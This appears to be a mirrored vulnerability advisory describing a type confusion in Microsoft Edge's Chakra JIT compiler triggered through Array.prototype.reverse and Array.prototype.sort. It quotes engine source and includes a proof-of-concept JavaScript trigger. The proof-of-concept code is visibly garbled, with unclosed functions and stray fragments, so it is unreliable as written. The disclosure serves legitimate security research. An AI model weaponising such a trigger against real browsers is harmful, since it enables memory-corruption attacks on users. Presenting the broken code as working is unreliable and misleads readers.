Microsoft Edge Chakra JIT Array.prototype.reverse Array Type Confusion

Microsoft Edge Chakra JIT from an array type confusion via Array.prototype.reverse.

MD5 | ec83af991398b5a16f596517c5cffe53

Microsoft Edge: Chakra: JIT: Array type confusion via Array.prototype.reverse 


This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.

Array.prototype.reverse can be inlineed and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray

To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.

Here's a snippet of JavascriptArray::EntrySort.
arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
JS_REENTRANT(jsReentLock, arr->Sort(compFn));
arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);

If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.

function opt(arr, arr2) {

arr[0] = 1.1;
arr[0] = 2.3023e-320;

function main() {
let arr = [1.1, 2.2, 3.3];
arr.__proto__ = null; // avoid inline caching
delete arr[1]; // avoid doArrayMissingValueCheckHoist

let arr2 = [, {}];
arr2.__proto__ = {};
arr2.reverse = Array.prototype.reverse;

for (let i = 0; i < 10000; i++) {
opt(arr, arr2);
}, () => {
arr2.__proto__.__proto__ = arr;

opt(arr, arr2);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Related Posts